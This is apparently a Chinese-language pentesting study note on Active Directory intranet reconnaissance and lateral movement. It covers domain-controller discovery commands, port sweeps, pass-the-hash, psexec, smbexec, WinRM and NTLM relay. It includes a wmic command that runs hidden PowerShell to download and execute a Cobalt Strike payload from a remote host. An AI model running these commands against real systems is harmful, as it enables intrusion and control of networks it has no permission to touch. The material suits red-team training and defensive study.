author: cmrex
单域
顾名思义,一个域,通常存在于一个小公司(一个域控DC,一个备份机),活动目录的数据库存储在域控制器(必须的!)
域森林
多个域合在一起,域树建立信任的关系的集合。例如多个子公司在一起。
域树
一个根域内,许多的子域。
因为在内网中,是无法外联的,所以无法访问外部的域名服务器。这个时候每个域内的主机需要互相访问,记录ip很复杂,将域名和ip一一对应也是很复杂的。所以我们安装dns域名服务器在内网。DNS服务器一般和域控在一台服务器上。
domain controller:域控制器。俗称域控,也是渗透的目标之一。
活动目录,Active Directory,集中管理统一平台。活动目录内的数据存储在不同的域内,每一个域存储自己的数据。
域控制器自带的数据库管理工具
域账号存储在活动目录中,以数据库的形式。
从攻击者的思路来看,我们刚开始获取到一个shell的时候,第一步,我们需要信息收集。定位自己是谁?自己所处于什么样的环境?自己的目标以及自己和别的设备的联系。
横向的目的
工作组:尽可能多的控制机器
域环境:获取DC的权限(在这个过程中,我们需要不断地控制机器,抓hash也好,利用协议横向也好,利用漏洞,都是途径)
我们首先要判断我们是在域内还是在域外,我们是否拿到一台域内的机器,或者是域外的机器。
首先这张图,我们可以看见
whoami
出示了我们是谁,但仅仅这个我们不能判断我们是不是在域环境内。因为那个cmrex是这台计算机的名称,后面administrator是用户名
net user
这个是显示本地用户有哪些
我们看到了本地也有administrator,可能administrator是本地用户。
net user /domain
这条命令展示了域内的用户都有谁,如果没有域则会显示这个:
判断是否在域内还可以用这几条命令:
net time /domain
query user || qwinsta
查询当前登录的用户有哪些
net localgroup administrators && whoami
查询当前是否是管理组
systeminfo | findstr "域"
查找是否存在域,结果发现确实存在域
net view /domain
确定了在域内查看有几个域
net group /domain
查看域内的用户组
net config workstation
登陆域,计算机名,显示的信息比较多,当前我们计算机名:pcroot.hack.club,我们的域是hack.club,我们域内的用户是user1,
net group "domain admins" /domain
查看域管
net group "domain controllers" /domain
域控,有一个域控
net time
我们发现DC:dc.hack.club
nslookup dc.hack.club
获得了DC的ip
nslookup -type=SRV _ldap._tcp
SRV记录是DNS服务器的数据库中支持的一种资源记录的类型,它记录了哪台计算机提供了哪个服务这么一个简单的信息 SRV 记录。限制:DNS服务器必须支持服务定位(SRV)资源记录
nltest /dclist:hack.club
查看域控
PSloggedon.exe
https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
需要有管理员权限
PSloggedon.exe \root
powerView.ps1
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
ps脚本收集
powershell.exe -exec bypass -Command “& {Import-Module C:\Users\win7\Desktop\tool\PowerView.ps1; Invoke-UserEvenHunter}”
389:ldap
636:ldaps
53:dns
域控一般会开启这些端口
但是动静很大, 不建议
ipconfig
我们发现这个是双网卡,一个连接外网,一个连接内网,内外网卡和域控是一个网段
arp -a
查询内网协议arp,跟某些机器互通
netstat -ano
查看连接情况
net session
查看连接情况
for /l %i in (1,1,255) do @ping 100.100.100.%i -w 1 -n 1|find /i "ttl="
ping协议
fscan -h 100.100.100.1/24
ps扫描:单ip多端口
440..450 | % {echo ((new-object Net.Sockets.TcpClient).Connect("100.100.100.101",$_)) "Port $_ is open!"} 2>$null
某ip段单个端口
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 100.100.100.$ip}
基于msf的域控发现:
run post/windows/gather/enum_domain
主要关注什么情况下可以成功,哈希传递受什么限制,补丁KB2871997对pth影响,本地管理组非rid500的用户pth无法成功的原因(UAC?)
利用条件,防御方式,使用工具
假冒令牌:冒充别人的身份进行操作,如果冒充了administrator就可以权限提升。
待续
IPC,计划任务上线,远程文件下载,文件共享
3389远程登录,抓取hash,使用hash登录等,爆破远程登录rdp,注册表开启rdp登录
Psexec远程命令执行,使用PsExec
执行远程命令,需要开启Admin$
共享,可注册表开启,
psexec \\hostIp -u [username] -p [password] cmd
wmic /NODE:192.168.3.123 /user:"administrator" /password:"Aatest" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))\""//上线cs
也是远程命令执行的一种,WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。
smbexec 可以通过文件共享(admin,c,ipc,d)在远程系统中执行命令,依赖于445端口。
./smbexec.py xie/[email protected] -hashes HASH
管理员权限的powershell
客户端关闭防火墙
服务端需要域管的administrator账户或者目标主机具有管理员权限的账户
双方主机都需有MMC Application Class这个DCOM组件。
在内部网络中,SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端、交换机、微软SQL等,并隐藏他们。此外,SPN的识别也是kerberoasting攻击的第一步。
Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。
WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的 服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令 行shell,而底层通讯协议使用的是HTTP。
winrm可以远程命令执行。
目标机器开启winrm服务
目标机器是win server,windows主机不行
目标机器winrm没有白名单(一旦白名单ip是无法登录的)
组合HTTP.sys驱动自带的端口复用功能
必须要知道明文密码(也可以使用hash传递)
ntlm重放攻击,阶段hash,从而对其他机器进行控制。需要学习windows本地认证和ntlm认证。一般存在一些认证服务的时候,都可以尝试使用ntlm relay攻击。
可以使用DC的ip,域内用户登录。LDAP注入等。
委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,接受委派的用户只能是服务账户或者计算机用户。票据相关的攻击方法。
进入内网,判断自我所处的环境,查询网络用户,定位域控等信息,也可以些脚本自动化运行,思路很多,需要灵活应变。